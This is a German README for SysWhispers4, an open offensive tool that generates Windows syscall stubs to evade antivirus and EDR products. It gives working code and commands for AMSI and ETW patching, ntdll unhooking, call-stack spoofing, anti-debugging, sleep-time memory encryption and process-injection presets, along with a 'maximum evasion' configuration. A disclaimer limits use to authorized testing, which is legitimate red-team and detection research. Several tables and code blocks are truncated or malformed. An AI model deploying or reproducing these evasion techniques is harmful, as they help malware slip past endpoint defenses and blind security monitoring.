SysWhispers4
AV/EDR-Umgehung durch direkte und indirekte Systemaufrufe
Windows NT 3.1 bis Windows 11 24H2 · x64 · x86 · WoW64 · ARM64
SysWhispers4 ist ein auf Python basierender Syscall-Stub-Generator, der C/ASM-Code für den direkten Aufruf von NT-Kernel-Funktionen erzeugt und dabei User-Mode-Hooks umgeht, die von AV/EDR-Produkten auf ntdll.dll platziert werden.
Als Nachfolger von SysWhispers → SysWhispers2 → SysWhispers3 ergänzt diese Version das bislang umfassendste Set an SSN-Auflösungsstrategien, Aufrufmethoden und Evasion-Fähigkeiten.
Entwicklung: SysWhispers 1 → 4
Funktionsvergleichsmatrix
| Feature | SW1 | SW2 | SW3 | SW4 |
|---|
| SSN-Auflösung | | | | |
| Statische eingebettete Tabelle | ✅ | ✅ | ✅ | ✅ |
| Hell's Gate (ntdll-Parsing zur Laufzeit) | ❌ | ✅ | ✅ | ✅ |
| Halo's Gate (Scan der Hook-Nachbarn) | ❌ | ❌ | ✅ | ✅ |
| Tartarus' Gate (near+far JMP) | ❌ | ❌ | Teilweise | ✅ |
| FreshyCalls (Sortierung nach VA) | ❌ | ❌ | ❌ | ✅ Neu |
| SyscallsFromDisk (sauberes ntdll aus KnownDlls) | ❌ | ❌ | ❌ | ✅ Neu |
| RecycledGate (FreshyCalls + Opcode-Validierung) | ❌ | ❌ | ❌ | ✅ Neu |
| HW Breakpoint (DR-Register + VEH) | ❌ | ❌ | ❌ | ✅ Neu |
| Statischer + dynamischer Fallback | ❌ | ❌ | ❌ | ✅ Neu |
| Aufrufmethoden | | | | |
Eingebettet (direktes syscall) | ✅ | ✅ | ✅ | ✅ |
| Indirekt (jmp zu ntdll-Gadget) | ❌ | ❌ | ✅ | ✅ |
|
† SW3s randomisierte Methode hatte einen Registerkorruptionsfehler — RDTSC überschreibt edx (arg2). SW4 speichert rdx → r11 vor rdtsc korrekt und stellt es wieder her, ohne den Stack zu berühren.
Was ist neu in v4.1
Neue SSN-Auflösungsmethoden
SyscallsFromDisk (--resolve from_disk)
Mappt eine saubere Kopie von ntdll aus \KnownDlls\ntdll.dll und liest die SSNs aus dem nicht gehookten .text-Abschnitt. Umgeht dabei sämtliche Inline-Hooks vollständig – der EDR sieht den Lesevorgang nie.```c
// Flow: NtOpenSection → NtMapViewOfSection → read clean SSNs → NtUnmapViewOfSection
// SSNs come from the on-disk image, guaranteed hook-free
SW4_SyscallsFromDisk(pNtdll);
#### RecycledGate (`--resolve recycled`)
Kombiniert die Zuverlässigkeit von FreshyCalls (Sortierung nach VA) mit der Opcode-Validierung von Hell's Gate. Für jede Funktion:
1. Kandidaten-SSN aus der sortierten Position holen (FreshyCalls)
2. Wenn der Stub sauber ist, prüfen, dass die SSN mit dem Opcode übereinstimmt (Doppelprüfung)
3. Wenn der Stub gehooked ist, der SSN aus dem sortierten Index vertrauen (hook-resistent)
**Die widerstandsfähigste verfügbare Methode** — selbst wenn Hooks Stubs neu anordnen oder Opcodes modifizieren, liefert die VA-Sortierung die korrekte SSN.
#### HW Breakpoint (`--resolve hw_breakpoint`)
Verwendet **Debug-Register** (DR0–DR3) und einen Vectored Exception Handler (VEH), um SSNs zu extrahieren, ohne die (möglicherweise gehookten) Funktionsbytes zu lesen:
1. DR0 = Adresse der `syscall`-Instruktion im ntdll-Stub setzen
2. VEH-Handler registrieren
3. In den Stub aufrufen — der VEH fängt `EXCEPTION_SINGLE_STEP`
4. Am Haltepunkt enthält EAX die SSN — diese erfassen
5. DR0 löschen, syscall überspringen, fortfahren
Funktioniert auch, wenn Hooks die Ausführung umleiten, denn der Haltepunkt feuert nach `mov eax, <SSN>`.
### Neue Umgehungstechniken
#### AMSI Bypass (`--amsi-bypass`)
Patches `amsi.dll!AmsiScanBuffer`, um `E_INVALIDARG` zurückzugeben, sodass AMSI die Scan-Argumente als ungültig betrachtet. Wenn `amsi.dll` nicht geladen ist, wird Erfolg zurückgegeben (nichts zu patchen).```c
SW4_PatchAmsi(); // Call early, before any suspicious operations
ntdll Unhooking (--unhook-ntdll)
Mappt eine saubere Kopie von ntdll aus \KnownDlls\ und überschreibt den gehookten .text-Abschnitt mit den sauberen Bytes:```c
// Call BEFORE SW4_Initialize() for best results
SW4_UnhookNtdll(); // Remove ALL inline hooks from ntdll
SW4_Initialize(); // Now FreshyCalls/Hell's Gate reads clean stubs
Dies entfernt vollständig alle Inline-Hooks aus ntdll, sodass nachfolgende NT-API-Aufrufe über die ursprünglichen Codepfade laufen.
#### Anti-Debugging (`--anti-debug`)
Führt 6 Prüfungen durch, um das Vorhandensein eines Debuggers/einer Analyse zu erkennen:
| Prüfung | Technik | Erkennt |
|-------|-----------|---------|
| 1 | `PEB.BeingDebugged` | Standard-Debugger-Anbindung |
| 2 | `NtGlobalFlag` (0x70) | Von Debuggern gesetzte Heap-Debug-Flags |
| 3 | `RDTSC`-Zeitdelta | Einzelschritt / Tracing |
| 4 | `NtQueryInformationProcess(ProcessDebugPort)` | Kernel-Debug-Port |
| 5 | Heap-Flags-Analyse | Debug-Heap-Indikatoren |
| 6 | Instrumentierungs-Callback-Erkennung | EDR-Instrumentierungs-Hooks |```c
if (!SW4_AntiDebugCheck()) {
// Debugger detected — bail out or take evasive action
ExitProcess(0);
}
Sleep-Verschlüsselung (--sleep-encrypt)
Ekko-artige Speicherverschlüsselung während des Schlafs, um periodische Speicherscanner zu umgehen:
- Generiere zufälligen XOR-Schlüssel via
RDTSC
- XOR-verschlüssle den eigenen
.text-Abschnitt
- Setze waitable Timer + queue APC zum Entschlüsseln
- Schlafe im alertable Zustand
- Timer feuert → APC entschlüsselt
.text → Ausführung wird fortgesetzt```c
// Instead of Sleep(5000), use:
SW4_SleepEncrypt(5000); // .text is encrypted during the entire sleep
Umgeht:
- Speicherscanner während des Schlafs (Code ist verschlüsselter Unsinn)
- Periodische Modulscans (Signaturen stimmen nicht überein)
- YARA-/Signaturscans auf PE im Speicher
---
## Alle Funktionen (Bestehende + Neue)
### SSN-Auflösungsmethoden (insgesamt 8)
| Methode | Flag | Hook-Resistenz | Geschwindigkeit | Anmerkungen |
|--------|------|:-:|:-:|-------|
| Static | `--resolve static` | Keine | Am schnellsten | Eingebettete j00ru-Tabelle, kein Parsing zur Laufzeit |
| Hell's Gate | `--resolve hells_gate` | Niedrig | Schnell | Liest Opcode-Bytes — schlägt bei Hooks fehl |
| Halo's Gate | `--resolve halos_gate` | Mittel | Schnell | Nachbarscan (±8 Stubs) |
| Tartarus' Gate | `--resolve tartarus` | Hoch | Schnell | Erkennt E9/FF25/EB/CC-Hooks, ±16 Nachbarn |
| FreshyCalls | `--resolve freshycalls` | **Sehr hoch** | Mittel | Sortiert nach VA — liest keine Funktionsbytes |
| SyscallsFromDisk | `--resolve from_disk` | **Maximal** | Langsam | Mappt sauberes ntdll von der Festplatte |
| RecycledGate | `--resolve recycled` | **Maximal** | Mittel | FreshyCalls + Opcode-Kreuzvalidierung |
| HW Breakpoint | `--resolve hw_breakpoint` | **Maximal** | Langsam | DR-Register + VEH |
### Aufrufmethoden (insgesamt 4)
| Methode | Flag | RIP in ntdll | Syscall auf der Platte | Zufällig pro Aufruf |
|--------|------|:-:|:-:|:-:|
| Embedded | `--method embedded` | ❌ | ✅ | ❌ |
| Indirect | `--method indirect` | ✅ | ❌ | ❌ |
| Randomized | `--method randomized` | ✅ | ❌ | ✅ (64 Gadgets) |
| Egg Hunt | `--method egg` | ❌ | ❌ | ❌ |
### Umgehungsoptionen (insgesamt 8)
| Funktion | Flag | Beschreibung |
|---------|------|-------------|
| Obfuscation | `--obfuscate` | Stub-Umordnung + 14 Junk-Instruction-Varianten |
| SSN Encryption | `--encrypt-ssn` | XOR mit zufälligem Schlüssel zur Kompilierzeit |
| Stack Spoofing | `--stack-spoof` | Synthetische Rücksprungadresse aus ntdll |
| ETW Bypass | `--etw-bypass` | Patch `EtwEventWrite`, sodass ACCESS_DENIED zurückgegeben wird |
| AMSI Bypass | `--amsi-bypass` | Patch `AmsiScanBuffer`, sodass E_INVALIDARG zurückgegeben wird |
| ntdll Unhooking | `--unhook-ntdll` | Mappt sauberen `.text` aus `\KnownDlls\` neu |
| Anti-Debug | `--anti-debug` | 6 Erkennungsprüfungen (PEB, Timing, Heap usw.) |
| Sleep Encryption | `--sleep-encrypt` | XOR `.text` im Ekko-Stil während des Schlafs |
---
## Schnellstart```bash
git clone https://github.com/CyberSecurityUP/SysWhispers4
cd SysWhispers4
# Optional: update syscall table from j00ru (for --resolve static)
python scripts/update_syscall_table.py
# Common preset — FreshyCalls + direct syscall (recommended start)
python syswhispers.py --preset common
# Injection preset — indirect via Tartarus' Gate
python syswhispers.py --preset injection --method indirect --resolve tartarus
# Maximum evasion: all techniques combined
python syswhispers.py --preset stealth \
--method randomized --resolve recycled \
--obfuscate --encrypt-ssn --stack-spoof \
--etw-bypass --amsi-bypass --unhook-ntdll \
--anti-debug --sleep-encrypt
# Clean ntdll from disk — bypasses ALL hooks
python syswhispers.py --preset injection \
--method indirect --resolve from_disk \
--unhook-ntdll
# Hardware breakpoint SSN extraction
python syswhispers.py --functions NtAllocateVirtualMemory,NtCreateThreadEx \
--resolve hw_breakpoint
# Egg hunt (no syscall opcode on disk)
python syswhispers.py \
--functions NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx \
--method egg --resolve halos_gate
# ARM64 (Windows on ARM)
python syswhispers.py --preset common --arch arm64
# x86 / WoW64
python syswhispers.py --preset injection --arch x86
# MinGW / Clang (GAS inline assembly)
python syswhispers.py --preset common --compiler mingw
Befehlszeilen-Referenz```
python syswhispers.py [OPTIONS]
Function selection (at least one required):
-p, --preset PRESET common | injection | evasion | token | stealth |
file_ops | transaction | all
-f, --functions FUNCS NtAllocateVirtualMemory,NtCreateThreadEx,...
Target:
-a, --arch ARCH x64 (default) | x86 | wow64 | arm64
-c, --compiler COMPILER msvc (default) | mingw | clang
Techniques:
-m, --method METHOD embedded (default) | indirect | randomized | egg
-r, --resolve RESOLVE freshycalls (default) | static | hells_gate |
halos_gate | tartarus | from_disk | recycled |
hw_breakpoint
Evasion / Obfuscation:
--obfuscate Randomize stub order + inject junk instructions
--encrypt-ssn XOR-encrypt SSN table at rest
--stack-spoof Include synthetic call stack frame helper
--etw-bypass Include user-mode ETW patch function
--amsi-bypass Include AMSI bypass (AmsiScanBuffer patch)
--unhook-ntdll Include ntdll unhooking (remap from KnownDlls)
--anti-debug Include anti-debugging checks (6 techniques)
--sleep-encrypt Include Ekko-style sleep encryption
Output:
--prefix PREFIX Symbol prefix (default: SW4)
-o, --out-file OUTFILE Output filename base (default: SW4Syscalls)
--out-dir OUTDIR Output directory (default: .)
Info:
--list-functions Print all 64 supported NT functions and exit
--list-presets Print all preset definitions and exit
-v, --verbose Verbose output / traceback on error
---
## Generierte Dateien
| Datei | Zweck |
|---|---|
| `SW4Syscalls_Types.h` | NT-Typdefinitionen — Strukturen, Enums, Typedefs |
| `SW4Syscalls.h` | Funktionsprototypen + `SW4_Initialize()` + Evasion-API-Deklarationen |
| `SW4Syscalls.c` | Laufzeit-SSN-Auflösung + Hilfsfunktionen + Evasion-Implementierungen |
| `SW4Syscalls.asm` | MASM-Syscall-Stubs (MSVC) |
| `SW4Syscalls_stubs.c` | GAS-Inline-Assembly-Stubs (MinGW / Clang) |
---
## Integration (MSVC)
1. Alle 4 Dateien zu Ihrem Visual-Studio-Projekt hinzufügen
2. MASM aktivieren: **Project → Build Customizations → masm (.targets)**
3. Initialisierungsfunktionen beim Start aufrufen```c
#include "SW4Syscalls.h"
int main(void) {
// Step 1 (optional): Remove ALL hooks from ntdll
// Call BEFORE Initialize for best results
SW4_UnhookNtdll();
// Step 2: Resolve SSNs (required for all dynamic methods)
if (!SW4_Initialize()) return 1;
// Step 3 (optional): Evasion patches
SW4_PatchEtw(); // Suppress user-mode ETW events
SW4_PatchAmsi(); // Bypass AMSI scanning
// Step 4 (optional): Verify clean environment
if (!SW4_AntiDebugCheck()) {
// Debugger detected — take evasive action
return 0;
}
// Use NT functions directly — all via syscall, no API hooks
PVOID base = NULL;
SIZE_T size = 0x1000;
NTSTATUS st = SW4_NtAllocateVirtualMemory(
GetCurrentProcess(), &base, 0, &size,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE
);
// Use encrypted sleep instead of Sleep()
// SW4_SleepEncrypt(5000); // .text encrypted during sleep
return NT_SUCCESS(st) ? 0 : 1;
}
Integration (MinGW/Clang)```bash
x86_64-w64-mingw32-gcc -masm=intel
example.c SW4Syscalls.c SW4Syscalls_stubs.c
-o example.exe -lntdll
---
## SSN-Auflösungstechniken
### Statisch
Bettet Syscall-Nummern aus der gebündelten j00ru-Tabelle zur Generierungszeit ein. Kein ntdll-Parsing zur Laufzeit — am schnellsten und einfachsten. Eine eingebettete Tabelle ist ein Erkennungssignal; verwende dynamische Methoden für Tarnung.
### FreshyCalls *(Standard — empfohlen)*
Sortiert alle `Nt*`-Exporte aus ntdll nach virtueller Adresse. Der sortierte Index = SSN. Funktioniert sogar, wenn **jeder** `Nt*`-Stub gehookt ist — es werden nur VAs gelesen, keine Funktionsbytes.
### Hell's Gate
Liest den `mov eax, <SSN>`-Opcode direkt aus jedem ntdll-Stub:```
4C 8B D1 B8 [SSN_lo] [SSN_hi] 00 00
Schlägt fehl, wenn die ersten Bytes des Stubs durch einen EDR-Hook überschrieben werden.
Halo's Gate
Erweitert Hell's Gate: Wenn ein Stub gehookt ist, werden benachbarte Stubs (±8) in der sortierten Exportliste gescannt und die SSN wird durch ±-Offset-Arithmetik abgeleitet.
Tartarus' Gate
Erweitert Halo's Gate, um alle EDR-Hook-Muster zu erkennen:
E9 xx xx xx xx — naher relativer JMPFF 25 xx xx xx xx — ferner absoluter JMP über SpeicherEB xx — kurzer JMPCC — int3-BreakpointE8 xx xx xx xx — call (selten)
Scannt bis zu 16 Nachbarn in beide Richtungen.
SyscallsFromDisk (umgeht ALLE Hooks)
Mappt eine vollständig saubere Kopie von ntdll aus \KnownDlls\ntdll.dll und liest die SSNs aus dem unberührten .text-Abschnitt. Die EDR-Hooks sind irrelevant — wir lesen nie aus der gehookten Kopie.
RecycledGate (am widerstandsfähigsten)
Kombiniert FreshyCalls und Hell's Gate für maximale Zuverlässigkeit:
- Primär: nach-VA-sortierter Index (FreshyCalls)
- Validierung: Opcode-Gegenprüfung, falls der Stub sauber ist
- Fallback: der VA-Sortierung vertrauen, falls der Stub gehookt ist
Selbst wenn ein EDR sowohl Hooks als auch Exporttabelleneinträge modifiziert, liefert die VA-Sortierung weiterhin die korrekte SSN.
HW Breakpoint (fortgeschritten)
Verwendet CPU-Debugregister (DR0–DR3), um Hardware-Breakpoints auf Syscall-Anweisungen innerhalb von ntdll zu setzen. Ein Vectored Exception Handler (VEH) fängt den Breakpoint ab und liest an dieser Stelle die SSN aus EAX. Es werden keine potenziell manipulierten Bytes gelesen.
Aufrufmethoden
Eingebettet — Direkter Syscall
syscall befindet sich in deinem Stub. Beim Kernel-Eintritt zeigt RIP in deine PE — für EDRs erkennbar, die RIP außerhalb von ntdll prüfen.
Indirekt
Springt zu einem zuvor lokalisierten syscall;ret-Gadget innerhalb von ntdll.dll. Beim Kernel-Eintritt scheint RIP innerhalb von ntdll zu liegen — identisch zu einem legitimen API-Aufruf.
Randomisiert indirekt
Wie Indirekt, wählt aber bei jedem Aufruf ein zufälliges Gadget aus einem Pool von bis zu 64 aus. Überlistet EDR-Heuristiken, die bestimmte ntdll-Gadget-Adressen auf die Whitelist setzen. Verwendet RDTSC für Entropie — kein API-Aufruf erforderlich.```asm
SW4_NtAllocateVirtualMemory PROC
mov r10, rcx ; arg1 → r10 (syscall ABI)
mov r11, rdx ; SAVE rdx — rdtsc trashes edx!
rdtsc ; eax:edx = TSC (clobbers edx)
xor eax, edx ; mix
and eax, 63 ; pool index (0..63)
lea rcx, [SW4_GadgetPool]
mov rcx, QWORD PTR [rcx + rax8] ; random gadget
mov rdx, r11 ; RESTORE rdx
mov eax, DWORD PTR [SW4_SsnTable + N4]
jmp rcx ; → random ntdll syscall;ret
SW4_NtAllocateVirtualMemory ENDP
### Egg Hunt
Stubs enthalten einen 8-Byte-Zufalls-Egg-Marker anstelle von `syscall`. `SW4_HatchEggs()` durchsucht beim Start den `.text`-Abschnitt und ersetzt jedes Egg durch `0F 05 90 90 90 90 90 90`. **Kein `syscall`-Opcode erscheint in der Binärdatei auf der Festplatte.**
---
## EDR-Erkennungslandschaft
| Detection Vector | Embedded | Indirect | Randomized | Egg |
|---|:-:|:-:|:-:|:-:|
| User-Mode-Hook-Bypass | ✅ | ✅ | ✅ | ✅ |
| RIP in ntdll bei syscall | ❌ | ✅ | ✅ | ❌ |
| Kein `0F 05` in der Binärdatei auf der Festplatte | ✅¹ | ✅ | ✅ | **✅** |
| Zufälliges Gadget pro Aufruf | ❌ | ❌ | **✅** | ❌ |
| Sauberer Call-Stack | mit `--stack-spoof` | mit `--stack-spoof` | mit `--stack-spoof` | mit `--stack-spoof` |
| Umgehung von Speicherscans während des Sleeps | mit `--sleep-encrypt` | mit `--sleep-encrypt` | mit `--sleep-encrypt` | mit `--sleep-encrypt` |
| Kernel-ETW-Ti-Bypass | ❌ | ❌ | ❌ | ❌ |
¹ Der `syscall`-Opcode befindet sich im `.text`-Abschnitt Ihrer PE-Datei – an Ihrer Code-Adresse, nicht in ntdll.
> **ETW-Ti** (`Microsoft-Windows-Threat-Intelligence`) wird unabhängig von der Aufrufmethode im Kernel ausgelöst. Keine User-Mode-Technik kann es ohne Kernelzugriff umgehen.
---
## Evasion-Techniken im Detail
### XOR-verschlüsselte SSN-Tabelle (`--encrypt-ssn`)
SSN-Werte werden mit einem zufälligen Compile-Zeit-Schlüssel XOR-verschlüsselt gespeichert. Sie werden im ASM-Stub direkt vor dem Syscall entschlüsselt – im Ruhezustand erscheint kein Klartext-SSN in der Binärdatei.```c
#define SW4_XOR_KEY 0xDEADF00DU
// In SSN table: encrypted value
SW4_SsnTable[fi] = sortedIndex ^ SW4_XOR_KEY;
; In stub: decrypt before syscall
mov eax, DWORD PTR [SW4_SsnTable + N*4] ; encrypted
xor eax, SW4_XOR_KEY ; decrypt
syscall
Call-Stack-Spoofing (--stack-spoof)
Ein Trampolin, das die sichtbare Rücksprungadresse auf dem Stack durch einen Zeiger in ntdll ersetzt und die Aufrufkette für EDRs, die den Stack durchlaufen, legitim erscheinen lässt.```asm
SW4_CallWithSpoofedStack PROC
pop r11 ; save real return address
push [SW4_SpoofReturnAddr] ; push ntdll address instead
push r11 ; real address below (unreachable by walker)
jmp rax ; execute target
SW4_CallWithSpoofedStack ENDP
### ETW-Bypass (`--etw-bypass`)
Patcht `ntdll!EtwEventWrite`, um sofort `STATUS_ACCESS_DENIED` zurückzugeben und die Zustellung von ETW-Ereignissen im Benutzermodus zu unterdrücken.
> Dies umgeht **nicht** die Kernel-Mode-ETW-Ti-Callbacks. Nur in autorisierten Einsätzen verwenden.
### ntdll-Unhooking (`--unhook-ntdll`)
Mappt eine saubere ntdll aus `\KnownDlls\` und kopiert per `memcpy` den sauberen `.text`-Abschnitt über den gehookten:```
Flow: NtOpenSection → NtMapViewOfSection → FindSection(".text") →
VirtualProtect(RWX) → memcpy(clean→hooked) → VirtualProtect(RX) → cleanup
Rufen Sie vor SW4_Initialize() auf, um sicherzustellen, dass die SSN-Auflösung saubere Stubs liest.
Junk-Instruktionen (--obfuscate)
14 verschiedene harmlose x64-Instruktionsvarianten, die zwischen Stub-Instruktionen eingefügt werden:```asm
nop ; classic NOP
xchg ax, ax ; 2-byte NOP
lea r11, [r11] ; no-op LEA
nop DWORD PTR [rax] ; multi-byte NOP
xchg r11, r11 ; register swap (no-op)
test r11d, 0ABh ; flags-only, result discarded
push 042h / pop r11 ; push-pop noise
fnop ; FPU no-op
lea rsp, [rsp + 00h] ; stack identity LEA
; ... and more
---
## Unterstützte Funktionen (64)```bash
python syswhispers.py --list-functions
Voreinstellungen
Empfohlene Konfigurationen
Minimaler Erkennungs-Fußabdruck (Red Team)```bash
python syswhispers.py --preset stealth
--method randomized --resolve recycled
--obfuscate --encrypt-ssn --stack-spoof
--unhook-ntdll --etw-bypass --amsi-bypass
--anti-debug --sleep-encrypt
### Schnell & Einfach (CTF / Schnelltest)```bash
python syswhispers.py --preset common
Umgehung stark gehookter EDR```bash
python syswhispers.py --preset injection
--method indirect --resolve from_disk
--unhook-ntdll --encrypt-ssn
### Process Doppelganging```bash
python syswhispers.py --preset transaction \
--method indirect --resolve freshycalls
Abdeckung der Syscall-Tabelle
Aktualisiert über scripts/update_syscall_table.py aus j00ru/windows-syscalls:
| Betriebssystem | Abgedeckte Builds |
|---|
| Windows 7 | SP1 (7601) |
| Windows 8 / 8.1 | RTM (9200, 9600) |
|
Architekturunterstützung
Projektstruktur```
SysWhispers4/
├── syswhispers.py # CLI entry point
├── core/
│ ├── models.py # Enums, dataclasses (8 resolution, 4 invocation methods)
│ ├── generator.py # Code generation engine (~1900 lines)
│ ├── obfuscator.py # Obfuscation: junk, eggs, XOR, string encryption
│ └── utils.py # Hashes (DJB2, CRC32, FNV-1a), data loading
├── data/
│ ├── prototypes.json # 64 NT function signatures
│ ├── presets.json # 8 function presets
│ ├── syscalls_nt_x64.json # x64 SSN table (Win7–Win11 24H2)
│ └── syscalls_nt_x86.json # x86 SSN table
├── scripts/
│ └── update_syscall_table.py # Auto-fetch latest j00ru table
└── examples/
└── example_injection.c # Reference integration example
---
## Sicherheitshinweis
SysWhispers4 ist ein Werkzeug für Sicherheitsforschung und autorisierte Penetrationstests. Nur verwenden:
- Auf Systemen, die dir gehören oder für die du eine ausdrückliche schriftliche Genehmigung zum Testen hast
- Bei CTF-Wettbewerben
- Für defensive Forschung (Verständnis offensiver Techniken zur Verbesserung der Erkennung)
- Für die Entwicklung von Signaturen für Sicherheitsprodukte
Unbefugte Nutzung gegen Systeme, die dir nicht gehören, ist in den meisten Rechtsordnungen illegal.
---
## Referenzen & Danksagungen
| Ressource | Autor(en) |
|---|---|
| [SysWhispers](https://github.com/jthuraisamy/SysWhispers) | Jackson T. (jthuraisamy) |
| [SysWhispers2](https://github.com/jthuraisamy/SysWhispers2) | Jackson T. (jthuraisamy) |
| [SysWhispers3](https://github.com/klezVirus/SysWhispers3) | klezVirus |
| [SysWhispers3 fork](https://github.com/RWXstoned/SysWhispers3) | RWXstoned |
| [Windows Syscall Tables](https://github.com/j00ru/windows-syscalls) | j00ru |
| [Hell's Gate](https://github.com/am0nsec/HellsGate) | am0nsec, RtlMclovin |
| [Halo's Gate](https://sektor7.net) | SEKTOR7 |
| [Tartarus' Gate](https://github.com/trickster0/TartarusGate) | trickster0 |
| [FreshyCalls](https://github.com/crummie5/FreshyCalls) | crummie5 |
| [RecycledGate](https://github.com/thefLink/RecycledGate) | thefLink |
| [Ekko Sleep Obfuscation](https://github.com/Cracked5pider/Ekko) | C5pider |
| [LayeredSyscall](https://whiteknightlabs.com/2024/07/31/layeredsyscall-abusing-veh-to-bypass-edrs/) | White Knight Labs |
| [Call Stack Spoofing](https://labs.withsecure.com/publications/spoofing-call-stacks-to-confuse-edrs) | WithSecure Labs |
| [SysWhispers Evolution Analysis](https://sudosiddharths.medium.com/analyzing-the-evolution-and-execution-of-syswhispers-1-3-74cbbcdaf397) | Siddharth S. |
---
## Lizenz
Dieses Projekt wird für Bildungszwecke und autorisierte Sicherheitstests bereitgestellt.
joasasantos/syswhispers4
